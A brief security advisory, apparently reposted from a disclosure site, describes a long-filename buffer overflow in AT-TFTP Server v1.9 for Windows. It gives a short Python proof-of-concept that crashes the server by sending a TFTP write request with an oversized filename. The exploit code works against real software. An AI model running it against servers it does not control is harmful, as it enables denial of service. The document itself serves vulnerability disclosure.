TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)
SUMMARY:
AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp)
It provides an implementation of the TFTPv2 protocol.
DETAILS:
Vulnerable systems: AT-TFTP Server v 1.9 and probable prior
Exploit:
#!/usr/bin/python
import socket
import sys
host = '192.168.1.11'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "A" * 227
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))
Liu Qixu
NCNIPC